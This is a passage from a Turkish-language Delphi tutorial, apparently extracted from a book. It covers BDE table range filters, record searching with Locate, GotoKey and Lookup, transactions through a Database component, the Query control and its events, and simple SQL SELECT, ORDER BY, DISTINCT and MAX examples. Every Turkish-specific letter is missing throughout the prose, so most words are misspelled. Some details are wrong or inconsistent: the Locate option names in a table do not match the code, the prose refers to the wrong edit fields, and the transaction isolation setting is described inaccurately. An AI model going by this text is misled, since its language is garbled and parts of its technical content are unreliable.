Bu ekilde SERVIS tablosu iin iki adet secondary index tanmlam olduk. Bu aamadan sonra kolayca aralk filtrelemesi yapabilirsiniz. Table2.SetRange Aralk filtrelemek iin kriterlerinizi belirleyen zelliidir. Bu komutu kullanabilmeniz iin, aralk filtrelemesi yapacanz stunun muhakkak index olarak tanmlanm olmas gerekmektedir. procedure TForm7.Button1Click(Sender: TObject); begin Table2.SetRange([Edit2.Text],[Edit3.Text]); end; Yukardaki kod satrnda Edit1 ve Edit2 kontrollerine girilen tarih ieriklerinin arasnda kalan kaytlar listelemesi sylenmektedir. Table2.ApplyRange SetRange komutuyla girilen kriterlere gre tablonun filtrelenmesini salayan komuttur. SetRange komutu sadece filtreleme kriterlerini belirler. Filtre ilemini tabloya uygulamaz. Filtreleme ilemini tabloya uygulamanz iin kesinlikle gerekli olan bir komuttur. imdi aadaki tasarm oluturup aralk filtreleme ilemini rnek zerinde grelim. Daha nce anlatlan yntemlerle gerekli tablolara balanp, kaytlarn DataGrid nesnesi ierisinde gsterilmesini salayn.

52

procedure TForm7.Button1Click(Sender: TObject); begin Table2.IndexName:='TARIHINDEX';//indexi aktifletir Table2.SetRange([Edit2.Text],[Edit3.Text]);//kriterler Table2.ApplyRange;//uygula end;

Program altrp Edit1 ve Edit2 kontrolne tarihlerinizi girip Button kontrolne tklayn. Belirttiiniz aralktaki kaytlarn listelendiini greceksiniz. Uyguladnz filtreyi iptal etmek iin aadaki ekilde bir kod blou kullanabilirsiniz. procedure TForm7.Button2Click(Sender: TObject); //Tmn Gster begin Table2.Close; Table2.Open; end; Parasal Arala Gre Filtre Uygulamak: Tablonuzdaki parasal sutunlar iin de kolayca filtre uygulayabilirsiniz. Filtre kriterini koyacanz stunun indexli ve indexinin de aktif olmasna dikkat etmelisiniz.

53

Aada izlemeniz gereken admlar ve zellikleri dikkatlice incelenmektedir. Table2.SetRangeStart Alt snra ait filtreyi belirlemek iin kulanlan bir zelliktir. Bu satrdan sonra belirteceiniz kriteri araln alt snr olarak kabul edecektir. Table2.SetRangeStart; Table2.FieldByName('FATURATUTARI').AsCurrency:=StrToCurr(Edit2.Text) Table2.SetRangeEnd; st snra ait filtreyi belirlemek iin kulanlan bir zelliktir. Bu satrdan sonra belirteceiniz kriteri araln st snr olarak kabul edecektir. Table2.SetRangeEnd; Table2.FieldByName('FATURATUTARI').AsCurrency:=StrToCurr(Edit3.Text) Table2.ApplyRange

Belirtilen aral tabloya filtre olarak uygulamay salayan methoddur. Bu satr olmadan kriterleri belirleseniz bile DataGrid kontrolnz filtreli kaytlar gstermeyecektir. imdi aadaki ekilde bir tasarm oluturup gerekli balantlar daha nce anlatld ekilde yapn.

54

procedure TForm7.Button7Click(Sender: TObject); begin


Table2.IndexName:='TUTARINDEX';//imdexi aktif yap Table2.SetRangeStart;//alt snr Table2.FieldByName('FATURATUTARI').AsCurrency:=StrToCurr(Edit2.Text); Table2.SetRangeEnd;//st snr Table2.FieldByName('FATURATUTARI').AsCurrency:=StrToCurr(Edit3.Text); Table2.ApplyRange;

end; Burada yine index in ok nemli olduunu hatrlatmak isterim. Kullanlacak olan index in Primary veya Secondary olmas komutlar iin nem arz etmez. Yanlz o stuna ait index in Object Inspector penceresinden veya kodla muhakkak aktifletirilmesi gerekecektir.

55

Kayt Arama lemleri: Bu blmde hangi kaytta olursanz olun, iinize yarayan kayd bulup aktif yapma ilemini gerekletireceiz. Kayt arama ilemlerinde birden fazla stuna gre aramada yaptrabilirsiniz. Her eit yntemi rneklendirmeye alacam. Fazla kayt ieren tablolarda kayt arama ilemlerini muhakkak index tanmlayarak yapmalsnz. Bu size ok daha hzl sonu alma seenei yaratacaktr. Index in primary veya secondary olmas nem arz etmeyecektir. Delphide kayt arama ilemleri iin kullanlan birka yntem bulunmaktadr. Bu yntemlerin hepsini detayl olarak anlatmaya alacam. Ltfen dikkatlice inceleyiniz. Locate Methodu Bu method sayesinde indexli veya indexsiz stunlarda arama yaptrabilirsiniz. ndexli stunlarda yaptracanz aramalar ok daha hzl sonu verecektir. procedure TForm2.Button1Click(Sender: TObject); begin Table1.Locate('MAGAZAADI',Edit1.Text,[]);//Kayt Bul end; imdi aadaki tabloyu paradoxta oluturup zerinde ilemler yapalam.
Fieeld Name(Stun smi) MAGAZAADI ADRES TELEFON MUDUR SEHIR Type(Tipi) A A A A A 25 25 15 25 25 Size (Ka Karakter) Key(Primary ind) *

MAGAZAADI stununu primary index olarak tanmlamay unutmaynz. Tabloyu oluturduktan sonra daha nceki blmde anlatld gibi ierisine MIGROS DIA-GIMA maazalarnn bulunduu kaytlar girin (primary index olduu iin ayn maaza ismini ikinci kaytta kullanamazsnz). imdi aadaki tasarm oluturup Table nesnesine aktardnz kaytlarn tamamnn DataGrid nesnesinde gsterilmesini salayn. Daha sonra formunuza bir adet Edit kontrol ile bir adet Button kontrol yerletiriniz. Amacmz button kontrolne tkladmz zaman edit ierisindeki maazay bulup aktif hale geirmek olacaktr.

56

Bu methodun nemli bir zelliide bulunan kaydn aktif kayt haline getirilmesidir.

Yukarda verilen tasarm oluturduktan sonra Kayt Bul dmesine aadaki kod satrlarn ekleyiniz. procedure TForm2.Button1Click(Sender: TObject); begin Table1.DefaultIndex:=true;//primary index aktif Table1.Locate('MAGAZAADI',Edit1.Text,[]);//Kayd bul end; Bu rnekte kk byk harf duyarll bulunmaktadr. Yani kk harfle migros yazarsanz kayd bulamazsnz. ayet bu hassasiyeti ortadan kaldrmak istiyorsanz kullanlan nc parametreyi aadaki ekilde deitirmelisiniz. procedure TForm2.Button1Click(Sender: TObject); begin Table1.DefaultIndex:=true;//primary index aktif Table1.Locate('MAGAZAADI',Edit1.Text,[loCaseInsensitive]);//duyarsz end; nc parametrenin alabilecei seenekler aada verilmitir.
Parametre foCaseInsensitive foNoPartialCompare Sonu Kk-Byk Harf Duyarll Yok Alan Parasna Gre Arama Yaplabilir.

57

Aranan kaydn bulunamamas sizin iin nem arz ediyorsa o zaman kodunuzu aadaki ekilde deitirmelisiniz. procedure TForm2.Button1Click(Sender: TObject); var ara:Boolean; begin Table1.DefaultIndex:=true;//primary index aktif ara:=Table1.Locate('MAGAZAADI',Edit1.Text,[loCaseInsensitive]); if ara=false Then ShowMessage('Kayt Bulunamad'); end; Burada kullanlan ara isimli deiken, kaydn bulunamamas durumunda false, bulunmas durumunda ise true deerini almaktadr. Daha sonra bu deeri kullanarak kaydn bulunup bulunamadn kolayca renebilirsiniz. Birden Fazla Stuna Gre Arama Yaptrmak: Kayt arama ilemi iin tek stun yeterli deilse, birden fazla kriter kullanacaksanz, o zaman aadaki yntemi uygulamanz gerekecektir. Formunuza ikinci bir Edit kontrol yerletirerek aadaki tasarm oluturunuz.

Aada yazacamz kodu altrabilmeniz iin Uses satrna Variants ktphanesini eklemelisiniz. 58

procedure TForm2.Button2Click(Sender: TObject); //uses satrna Variants eklemeyi unutmaynz. var ara:Boolean; begin ara:=Table1.Locate('ADRES;MUDUR',varArrayOf([Edit1.Text,Edit2.Text]),[]); if not ara Then ShowMessage('Kayt Bulunamad'); end; Yukardaki rnekte ADRES ve MUDUR stununa gre arama yaptrlmaktadr. Edit1 kontrolne girilen deer ADRES iinde, Edit2 kontrolne girilen deerde MUDUR stunu ierisinde aratlacaktr.Ama ayn kaytta ikisine rastlarsa o kayd aktif hale getirmek olacaktr. ayet kayd bulamazsa ara isimli Boolean tip deiken false deerini alarak kayt bulunamad uyarsn kullancya iletecektir. SetKey-GotoKey Methodlar Index li stunlara gre kayt aramas yaplabilen ikinci yntemdir. Kullanmna ait rneklendirme aada yaplmtr. Table1.SetKey Kayt arama ilemini balatan komuttur. Sadece indexli stunlar iin kullanlabilmektedir. procedure TForm4.Button1Click(Sender: TObject); begin Table1.SetKey;//Kayt arama ilemine bala end; Table1.GotoKey Aranan kritere uygun kayd aktifletirmek iin kullanlan komuttur. Sadece indexli stunlar iin almaktadr. procedure TForm4.Button1Click(Sender: TObject); begin Table1.GotoKey; //harf duyarll var end;

59

imdi aadaki form tasarmn oluturup SetKey-GotoKey methodlarnn rnek ierisinde kullanmn grelim.

Aadaki kod satrlarn Kayt Bul buttonunun OnClick yordamna ekleyiniz. procedure TForm4.Button1Click(Sender: TObject); //Kayt Bul begin Table1.SetKey;//Kayt arama ilemine bala Table1.FieldByName('MAGAZAADI').AsString:=Edit1.Text;//kriter Table1.GotoKey; //harf duyarll var if Table1.GotoKey=false Then ShowMessage('Kayt Bulunamad'); end; SetKey-GotoNearest Methodlar Aradnz kaydn ieriini tam olarak bilmiyorsanz, veya tamamn yazmadan arama yapabilmek iin kullanlan methodlardr. SetKet aramaya balayabilmek iin gerekli komut olup nceki rnekle ayn karakteristii tamaktadr. Table1.GotoNearest Belirtilen alan parasna gre arama yapabilen methoddur. Ayn ekilde kritere uyan kayt bulunduu zaman aktifletirilecektir. Aada bu methodlarn beraber kullanmna ait rneklendirme yaplmtr. 60

procedure TForm4.Button2Click(Sender: TObject); //Alan parasna gre ara begin Table1.SetKey;//Kayt arama ilemine bala Table1.FieldByName('MAGAZAADI').AsString:=Edit1.Text; Table1.GotoNearest; //harf duyarll yok end; Lookup Methodu Kayd aktif yapmadan arama ilemi yapabilen methoddur. Kayt bulunduktan sonra, aktif kayda ait istenilen stun deeri deikene aktarlabilir. Aadaki rnekte bu husus ilenmektedir.

61

procedure TForm4.Button3Click(Sender: TObject); var ara:variant; begin ara:=Table1.Lookup('MAGAZAADI',Edit1.Text,'ADRES;MUDUR'); if VarIsNull(ara) Then //bo sa ShowMessage('Kayt Bulunamad') else ShowMessage('Maaza Adresi='+ara[0]+#13#10+'Maaza Mdr='+ara[1]); end; imdi verdiimiz kodu aklamaya alalm. Lookup methoduyla Maaza ad sutununda kritere uygun olan deer aranmakta, kayt bulunduktan sonra ADRES ara[0] isimli variant tip deikene, MUDUR de ara[1] isimli dier variant tip deikene aktarlmaktadr (buradaki ara isimli dizi deikeni kendisi otomatik olarak oluturmaktadr).

62

Transaction lemi: Toplu kayt ilemlerinde (kayt ekleme veya deitirme) veri gvenliini salamak amal kullanlan ok nemli bir yntemdir. Tablonuza dng ierisinde kayt girdiinizi dnn, arada bir tanesinde oluabilecek hata ok kt sonular dourabilecektir. Bu tr sonular engellemek amal transaction kullanrsanz, kaydetmeye balamadan (veya silmeye) nceki konuma dnp tekrar deneme ansnz olacaktr. ayet herhangi bir aksaklk olmazsa tm deiiklikleri kabul edip dier ilemlerinize geebilirsiniz. Transaction ilemini gvenlik asndan kullanmak zorunda (tam bir zorunluluk yoktur ama ok faydal olacaktr) dier bir durumda network uygulamalardr. Bilgisayarlar aras bilgi tutarlln salamak iin tm kayt deiiklii ilemlerini Transaction kullanarak yapmalsnz. Bu size gvenli bir ortam yaratacaktr. Transaction ileminde Delphi nin yapt ilem, balatld anda bo bir Database oluturmak ve yaplan tm ilemleri (tablonuza deil) bu database kaydetmekten ibarettir. Uygulayacanz ilem baarl bir ekilde gerekleirse sonular Database den tablonuza kolayca aktarabilirsiniz. ayet bir aksaklk karsa bu durumda Transaction ilemini iptal ederek eski konumunuza dnebilirsiniz. Transaction ileminden sonra yaplan deiiklikleri bir btn olarak dnmelisiniz. Ya hepsini geri alrsnz veya hepsini topluca tablonuza yazdrrsnz. Aada Transaction ileminde kullanacanz komutlar gsterilmektedir. Uyar:ayet Transaction ilemi uygulayacaksanz tablonuzda muhakkak index bulunmal ve aktif hale geirilmelidir. Yukarda da bahsettiimiz gibi Transaction ilemi srasnda yaplan tm ilemler yenibir Database nesnesi ierisinde tutulacaktr. Bu yzden formunuza BDE yapranda yer alan Database kontrolnden bir adet yerletirmeyi unutmaynz. Database Kontrol BDE Yapranda yer alan bu kontrol sayesinde kolaylkla Transaction ilemini gerekletirebilirsiniz. Yapacanz tm deiiklikler bu yeni Database ierisinde kaydedilecektir. Aada bu ilemleri baarl bir ekilde gerekletirebilmek iin Database kontrolne ait kullanabileceiniz zellik ve methodlar aklanmaya allmaktadr. 63

Database1.DatabaseName Database kontrolnn oluturulaca yeri belirlemek amal kullanlan zelliidir. Bu zellie kalasrn yolu girilebilecei gibi Alias isminide girebilirsiniz (siz hep alias ismini giriniz). procedure TForm2.FormCreate(Sender: TObject); begin Database1.DatabaseName:='gazi'; Table1.Open; end; DataBase1.Connected Database balantsn ap kapatmak iin kullanlan zelliidir. True deerinin aktarlmas balantnn kurulmas anlamn iermektedir. False deeri aktarlrsa balant kapatlacaktr. procedure TForm2.FormCreate(Sender: TObject); begin Database1.DatabaseName:='gazi'; DataBase1.Connected:=true; Table1.Open; end; Database1.StartTransaction Transaction ilemini balatan methoddur. Bu satrdan sonra tabloda yaplacak olan tm deiiklikler bu Database ierisinde kaydedilecektir. procedure TForm2.Button1Click(Sender: TObject); //Balat begin Database1.StartTransaction;//Transaction balat end; Database1.Commit DataBase ierisinde tutulan deiiklikleri tabloya yanstmak amal kullanlan komuttur. Bu komuttan sonra Transaction ilemi sona erecektir. Database ierisinde depolanan bilgiler sfrlanacaktr. Yeniden Transaction 64

uygulanacaksa bu kullanlmaldr.

komuttan

sonra

tekrar

StartTransaction

methodu

procedure TForm2.Button2Click(Sender: TObject); //Tabloya yaz begin Database1.Commit;//uygula end; Database1.Rollback StartTransaction methodundan sonra Database nesnesi ierisinde yaplan tm deiiklikleri iptal etmek amal kullanlan komuttur. Yine bu komut Transaction ilemini bitirecektir. ayet tekrar Transaction uygulanacaksa StartTransaction komutu yeniden verilmelidir. Deiikliklerin iptal edilmesinden sonra tabloda son durumu grmek isterseniz, tablonuzu Refresh etmelisiniz. procedure TForm2.Button3Click(Sender: TObject); //ptal Et begin Database1.Rollback;//Deiiklikleri iptal et Table1.Refresh;//son durumu tabloda gster end; Database1.InTransaction Transaction ilemi yokken RoolBack veya Commit komutlarn uygularsanz uygulamanz sizi kendi hata mesajnzla uyaracaktr. Bu yzden belirtilen komutla Trandsaction ileminin var olup olmadn kontrol edebilir, ona gre komut iletebilirsiniz. zelliin True deerini almas Transaction ileminin halen uyguland anlamn tamaktadr. procedure TForm2.Button3Click(Sender: TObject); //ptal Et begin if Database1.InTransaction=true Then begin Database1.Rollback;//DEKLKLER PTAL ET Table1.Refresh; end; end; 65

Database1.TransIsolation Transaction uygulanacak olan VeriTabannn a ortamndam yoksa lokaldemi olup olmadn belirleyen zelliidir. Alabilecei seenekler aada verilmitir.
TransIsolation tiReadCommitted tiDirtyRead tiRepeatableRead

procedure TForm2.FormCreate(Sender: TObject); begin Table1.DefaultIndex:=true;//index aktif olmal Database1.TransIsolation:=tiDirtyRead;//deitirmeyi unutmayn Database1.DatabaseName:='gazi'; DataBase1.Connected:=true; Table1.Open; end; imdi aadaki tasarm oluturarak verilen kodlar Unit pencerenize ekleyiniz. Uygulama iin formunuza bir adet Table, bir adet DataSource, bir adet Database, bir adet DataGrid, bir adet GroupBox, adette button kontrol yerletirin.

imdide uygulamanza ekleyeceiniz kod bloklarn verelim. Bu kodlar gerekli yordamlara ekleyiniz. 66

procedure TForm2.FormCreate(Sender: TObject); begin Table1.DefaultIndex:=true;//index aktif olmal Database1.TransIsolation:=tiDirtyRead; Database1.DatabaseName:='gazi'; DataBase1.Connected:=true;//balan Table1.Open;//kodla yapn end; procedure TForm2.Button1Click(Sender: TObject); //Balat begin Database1.StartTransaction;//Transaction balat Form2.Caption:='Transaction Ak'; end; procedure TForm2.Button2Click(Sender: TObject); //Tabloya yaz var deger:Integer; begin if Database1.InTransaction Then//transaction varsa begin Database1.Commit;//uygula ShowMessage('Tm Deiiklikler Kaydedildi'); Form2.Caption:='Transaction Kapal'; end else begin deger:=Application.MessageBox('Transaction Kapal Balatalmm', 'Transaction Balat',MB_YESNO); if deger=mrYes Then Database1.StartTransaction;//Tekrar Balat Form2.Caption:='Transaction Ak'; end; end; procedure TForm2.Button3Click(Sender: TObject); //ptal Et var deger:Integer; begin if Database1.InTransaction=true Then begin Database1.Rollback;//Tm deiiklikler iptal Table1.Refresh;//Verileri yenile 67

ShowMessage('Deiiklikler ptal Edildi'); Form2.Caption:='Transaction Kapal'; end else begin deger:=Application.MessageBox('Transaction Kapal Balatalmm', 'Transaction Balat',MB_YESNO); if deger=mrYes Then Database1.StartTransaction;//Tekrar Balat Form2.Caption:='Transaction Ak'; end; end;

Uygulamanz altrdktan sonra Balat dmesine tklayn (Transaction lemi balatlacaktr). Ardndan tablonuzdaki kaytlardan arka arkaya bir ka tanesini silin (sildiiniz kaytlar Database nesnesine kaydedildi). Sildiiniz kaytlar geri almak iin ptal Et dmesini, Tablonuzdan da silinmesi iin Tabloya Yaz dmesini tklayabilirsiniz.

68

Query Kontrol: Veri kaynana balant yapabilmek iin u ana kadar hep Table kontroln kullandk. Fakat Table kontrol veritaban balantlar iin tek seenek deildir. Dilerseniz Query kontrolylede tablolarnza kolayca balanabilirsiniz. Query kontrol uygulamalarnzda sizlere ok daha fazla esneklik salayacaktr. Yinede balant seenei tamamen sizlere kalmtr. Query kontrolyle yapacanz balantdan sonra tablonuza yine kayt girebilir, ayn ekilde deiiklikler yapabilirsiniz (Bu ilem her zaman mmkn olmayabilir. zellikle birden fazla tabloyu birletirerek bir sorgu oluturduysanz kayt ilemlerinizi yapmanza izin vermeyebilir. ok da mantkldr). Aadaki admlar izleyerek Query balanabileceinizi renebilirsiniz. kontrol ile Tablonuza nasl

Birinci admda formunuza bir adet ScrollBox kontrol yerletirip Align zelliine alClient deerini aktarn (Balant iin zorunlu deildir. Fakat formunuza ok estetik bir grnm kazandracaktr). kinci admda formunuza bir adet BDE Yapranda yer alan Query kontroln srkleyip brakn. Query kontroln seip DataBaseName zelliine tablonuzun bulunduu klasr referans gsteren Alias isminizi aktarn. Drdnc admda Object Inspector penceresinde yer alan SQL zelliine tklayarak alan editore sorgu komutlarnz girin.

OK Dmesine bastktan sonra Query kontrolnzn Object Inspector penceresinden (kodlada yapabilirsiniz) Active zelliini true yapn. 69

Formunuza DataAccess Yapranda yer alan DataSource nesnesinden bir adet yerletirip DataSet zelliine Query1 nesnesini aktarn. Yedinci admda formunuza bir adet DataControls yapranda yer alan DataGrid nesnesi yerletirip DataSource zelliine DataSource1 nesnesini aktarn. Artk uygulamanz altrabilirsiniz.

Tm kaytlarn DataGrid nesnesine aktarldn greceksiniz. Query1.DatabaseName Tablonuzun bulunduu klasr referans gsteren Alias ismini bu zellie aktarabilirsiniz. Bu sayede o klasrde bulunan tm tablolar kolayca sorgulanabilecektir (Klasr yolunuda verebilirsiniz ama siz hep Alias ismini kullann). procedure TForm1.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi';//Alias ismini aktarn end; Query1.SQL.Add Sorgu komutunuzu aktarabileceiniz methoddur. Burada sorgulamak iin DataBaseName zelliine aktardnz alias ierisinde bulunan tm tablo isimlerini kullanabilirsiniz (birden fazla tabloyu i ie sorgulayabilirsiniz). Query kontrolnz deki SQL sorgusunda yapacanz her deiiklikten sonra verileri izleyebilmek iin Query1.Open satrn kullanmalsnz. Aksi takdirde dzgn bir SQL komutu yazsanz bile sonular DataGrid nesnesinde gremezsiniz. 70

procedure TForm1.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.SQL.Add('Select * From servis');//sorgu komutlar Query1.Open; end; Query1.Open Query kontrol ierisinde yer alan kaytlar kullanma amay salayan methoddur. Kontrol sorgu komutlarnda yaplan her deiiklikten sonra kullanlmas gerekecektir (sadece zamann iyi belirlemelisiniz). procedure TForm1.FormCreate(Sender: TObject); begin Query1.Open; end; Query1.RequestLive Varsaylan olarak bu deer false dr. Yani Query kontrolnden kayt girme ilemi yaplamaz. ayet bu zellie True deerini aktarrsanz, tablonuza yeni kayt ekleyebilir, kayt deitirebilirsiniz (bilhassa birden fazla tabloyla alyorsanz bu zellie true aktarsanz bile kayt giremiyebilirsiniz). procedure TForm1.FormCreate(Sender: TObject); begin Query1.RequestLive:=true;//kayt ilemlerine izin ver end; Query1.Close Ak olan Query kontroln kapatmak iin kullanlan methoddur. ayet DataGrid nesnesi ieriklerini Query den alyorsa, bu komuttan sonra hi bir kayd gstermeyecektir. procedure TForm1.FormCreate(Sender: TObject); begin Query1.Close;//DataGrid hi bir kayd artk gstermez end; 71

Query Kontrolne Ait Yordamlar: Query kontrolyle ilem yaparken kontroln kulland bir ok tetikleyici ile alabilirsiniz. Aada bu tetikleyicilere deinilmektedir. AfterCancel Yordam DBNavigator kontrolndeki (kodla oluturmu ta olabilirsiniz) Cancel dmesinin tklanlmas durumunda ileyen bir yordamdr. procedure TForm1.Query1AfterCancel(DataSet: TDataSet); begin ShowMessage('lemi ptal Ettiniz'); end; AfterClose Yordam Query kontrol ile balant koptuu anda ileyen bir yordamdr. Query1.Close komutu bu yordam otomatik olarak iletecektir. procedure TForm1.Query1AfterClose(DataSet: TDataSet); begin ShowMessage('Balanty Kapattnz'); end; AfterDelete Yordam Query kontrolnden bir kaydn silinmesi durumunda otomatik olarak ileyen bir yordamdr. procedure TForm1.Query1AfterDelete(DataSet: TDataSet); begin ShowMessage('Kayt Silindi'); end; AfterEdit Yordam Query Edit moduna alnd anda (Navigator kontrolndeki Edit dmesine baslrsa) otomatik olarak ileyen bir yordamdr. Bu yordamn iletilmesi iin Query1.Edit komutunun verilmesi yeterli olacaktr.

72

procedure TForm1.Query1AfterEdit(DataSet: TDataSet); begin ShowMessage('Kayt Deitirme Moduna Getiniz); end; AfterInsert Yordam Kayt ekleme ilemi yapld anda otomatik olarak ileyen bir yordamdr. procedure TForm1.Query1AfterInsert(DataSet: TDataSet); begin ShowMessage('Kayt Eklemek stediniz'); end; AfterPost Yordam Kaydet dmesine basldktan sonra ileyen yordamdr. procedure TForm1.Query1AfterPost(DataSet: TDataSet); begin ShowMessage('Kayt lemi Baaryla Tamamkand'); end; AfterRefresh Yordam Refresh dmesine tklanldktan sonra otomatik olarak ileyen bir yordamdr. procedure TForm1.Query1AfterRefresh(DataSet: TDataSet); begin ShowMessage('Kaytlar Gncellendi'); end; OnCalcFields Yordam Query kontrolnde stunlar hesaplatmak iin kullanlan yordamdr. Table kontrolnde bu yordama rnek verilmitir. Bu yzden tekrar rneklendirilmeyecektir. rnek verilen yordamlarn Before ile balayanlar da After ile ayn zamanda tetiklenmektedir. Sade birincisi ilem tamamlanmadan nce dieri ise tamamlandktan sonra ilemektedir. 73

Wizard Kullanarak Query Kontrolyle Tabloya Balanmak: Aadaki admlar izleyerek Query kontrol sayesinde tablolarnza balanabilirsiniz. File->New->Other seeneklerini sein. Alan New Item penceresinden Business yapranda yer alan Database FormWizard iconuna ift tklayn. Aadaki pencere alacaktr.

Bu pencerede DataSet Options ksmndan Create a form using Tquery objects seeneini iaretleyip Next dmesine tklayn. Yeni alan pencereden SERVIS tablonuzu bularak Next dmesine tuklayn. Buradan sonraki admlar Table kontrolnde yaptmz ekilde tamamlayp Finish buttonuna tklayn.

Son admdan sonraki ekran grntnz yukardaki ekilde gerekleecektir. 74

BLM 2 STANDART SQL KOMUTLARI

75

76

SQL Komutlar: Bu blmde sizlere Veri Taban ilemlerinde en ok kullanlan komutlardan bahsedeceim. Komutlar Standart SQL Komutlar olarak adlandrlmakta olup neredeyse btn dillerde ayn kalp yapsyla kullanlmaktadrlar.Hatrlatmak isterim SQL Komutlarn ne kadar iyi kullanabilirseniz, o derece iyi bir Veri Taban programcs saylrsnz. Aadaki tabloda tm SQL Komutlar iin kullanacamz satrlar verilmitir. ayet mmknse aynsn paradox tablosu olarak oluturunuz. MAGAZAADI SERVISTARIHI FIRMA
MIGROS GIMA MIGROS DIA DIA MIGROS GURALLAR GURSOYLAR 01/02/2003 02/03/2003 02/05/2003 03/04/2003 05/04/2003 05/04/2003 06/08/2003 04/07/2003 UGUR MUHENDISLIK ALPSAN ALPYAPI UGUR MUHENDISLIK ALPSAN ALPYAPI UGUR MUHENDISLIK ALPYAPI

AIKLAMA TUTAR
KLIMA TESISAT KLIMA HAVALAND. TESISAT KLIMA KLIMA TESISAT 150000000,00 250000000 125000000 250000000 100000000 150000000 250000000 100000000

rnekler iinde daha nceden oluturulmu olan gazi alias ierisindeki SERVIS Tablosu kullanlacaktr. Tm Kaytlar Listelemek: Tablodaki tm kaytlar listelemek iin aada verilen SQL Komutlarn kullanabilirsiniz.

Aadaki kodu formunuzun gerekli yordamna ekleyiniz. 77

procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select * From SERVIS'); Query1.Open; end; Burada yaplan bir seme sorgusudur, yani tablodan uygun kaytlarn sklp alnmas olaydr. Bu ilem iin Select ifadesiyle balayan bir komut satrna ihtiya duyulacaktr. Sadece stenilen Stunlar Listelemek: Tm stunlar listelemek istemiyorsanz (*) karakterini kullanamazsnz. Bu karakterin yerine listelemek istediiniz stun isimlerini araya , koyarak yanyana yazmanz gerekecektir.

procedure TForm3.FormCreate(Sender: TObject); //stenilen stunlar listele begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select MAGAZAADI,FATURATUTARI From SERVIS'); Query1.Open; end;

Program altrrsanz sadece yazm olduunuz stunlar listelenecektir. 78

Yeni Stun Balklar Belirlemek: Tabloda stunlar oluturulurken isimlendirmede genellikle kstlamalar uygulanr. Haliyle DataGrid ierisindeki gsterimde kt bir grnme sebep olacaktr. Bu yzden oluturulan stunlara yeniden isim vermek zorunda kalacaksnz. Aada bu ilem rneklendirilmektedir.

procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select MAGAZAADI Magaza_Adi,FATURATUTARI Tutar From SERVIS'); Query1.Open; end; Yeni Stun Eklemek: Baz durumlarda tablonuzda var olmayan fakat dier stunlardan hesaplanabilecek stunlar oluturmak zorunda kalabilirsiniz. Bu tip durumlarda aadaki ekilde bir sorgu komutu kullanmalsnz. procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select MAGAZAADI, FATURATUTARI,FATURATUTARI*0.15 KDV,FATURATUTARI*1.15 TOPLAM From SERVIS'); Query1.Open;end;

79

Uygulamay altrrsanz aadaki ekilde tablonuzda yer almayan iki stununuz DataGrid nesnenizde gzkecektir.

Dilerseniz bu yntemle iki (vaya daha fazla) string stunu da yanyana yazdrabilirsiniz. Sralama Yapmak (Order By): Tablolarnzdaki seme sorgularnn bir stuna gre sral bir ekilde gzkmesini isterseniz o zaman aadaki ekilde bir komut dizisi kullanmalsnz.

Sorgulama sonucuna dikkat edecek olursanz, tablo kaytlar MAGAZAADI stununa gre A-Z ye doru sral halde karnza gelecektir. Bu tr sralatma ilemlerini tablo nesnelerinde index ler yapmakta olup, Query kontrol kullanrsanz Order By komutuna ihtiyacnz olacaktr. 80

procedure TForm3.FormCreate(Sender: TObject); //Maaza Adna Gre srala begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select * From SERVIS Order By MAGAZAADI'); Query1.Open; end; Dilerseniz Z-A ya doru bir sralamada yaptrabilirsiniz. O zaman sorgu komutlarnz aadaki ekilde deitirmeniz gerekecektir.

procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select * From SERVIS Order By MAGAZAADI DESC'); Query1.Open; end; Order By komutundan sonra DESC bildirisini kullanrsanz sralatmann tersten yaplacan programa bildirmi olursunuz. Bu parametre yazlmad zaman Delphi Asc parametresini varsaylan deer olarak kabul edecek, kkten bye veya A-Z ye doru bir sralama yaptracaktr. Ayn rnek iin yle bir senaryo tretelim. Maaza isimleri ayn olan maazalar da ikinci olarak servis tarihine gre bykten ke doru sralasn. Kodu aadaki ekilde deitiriniz. 81

procedure TForm3.FormCreate(Sender: TObject); //kili Sralatma begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select * From SERVIS Order By MAGAZAADI DESC,SERVISTARIHI'); Query1.Open; end;

Program ncelikle tm tabloyu maaza adna gre sralar (Tersten). Daha sonra Order By ile belirtilen ikinci parametreye gre maaza ad ayn olan kaytlar Servis Tarihine gre kkten bye doru sralayacaktr. Ayn Kayd Birkere Listelemek(Distinct): Sorgunuzda gstermek istediiniz stun deerlerinin tamamnn ayn olmas durumunda, bir tanesini yazdrmak iin kullanacanz komut Distinct komutudur. Hatrlatalm gsterilecek olan stunlardan bir tanesi Primary veya Unique index zelliine sahipse zaten byle bir durumun olumasna imkan yoktur. Distinct komutunu Select ifadesinden hemen sonra koymalsnz. Rasgele bir yerde belirtme ansnz yoktur. Aadaki rnek sorgulama da MAGAZAADI ile SERVISTARIHI ayn olan kaytlar sadece bir kere yazdrlmaktadr.

82

procedure TForm3.FormCreate(Sender: TObject); //Ayn Kayd Bir kere Yaz begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select Distinct MAGAZAADI,GIDENFIRMA From SERVIS'); Query1.Open; end; Sorguda listelenmeyen hcre deerlerindeki eitliin Distinct komutu iin bir nemi yoktur. Matematiksel Sorgu Komutlar: imdi sizlere matematiksel hesap yaptrabileceiniz SQL komutlarndan behsedeceim. Stundaki En Yksek Deeri Hesaplamak(Max): Tablonuzdaki bir stuna ait en yksek deeri hesaplamak iin Max komutundan faydalanmaktayz. Aada bu komuta ait rneklendirme gerekletirilmitir. procedure TForm3.FormCreate(Sender: TObject); //en yksek maa bul begin Query1.DatabaseName:='gazi'; 83

Query1.Close; Query1.SQL.Add('Select MAX(FATURATUTARI) MAXIMUM_MIKTAR From SERVIS'); Query1.Open; end;

